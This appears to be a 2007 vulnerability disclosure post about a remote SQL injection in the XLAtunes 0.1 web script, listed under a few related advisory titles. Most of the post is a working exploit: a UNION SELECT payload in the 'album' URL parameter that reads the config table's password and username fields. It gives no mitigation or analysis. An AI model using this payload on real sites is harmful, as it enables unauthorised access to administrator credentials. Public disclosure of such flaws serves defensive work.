Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

ESupport Multiple HTML Injection Vulnerabilities

MediaWiki Cross-site Scripting

MyCalendar multiple XSS

Vivvo Article Manager 3.4 (root) Local File Inclusion Vulnerability

From:	Guns_(at)_0x90.com.ar <Guns_(at)_0x90.com.ar>
Date:	20.02.2007
Subject:	XLAtunes 0.1 (album) Remote SQL Injection Vulnerability

#Critical Status:High
#Found By: 0x90 #Download:http://www.scriptdungeon.com/script.php?ScriptID=2844
#Greetz:all my friends
#confkey->Password
#confvalue->Username
#Table:config
#http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20conf
key%20FROM%20config/*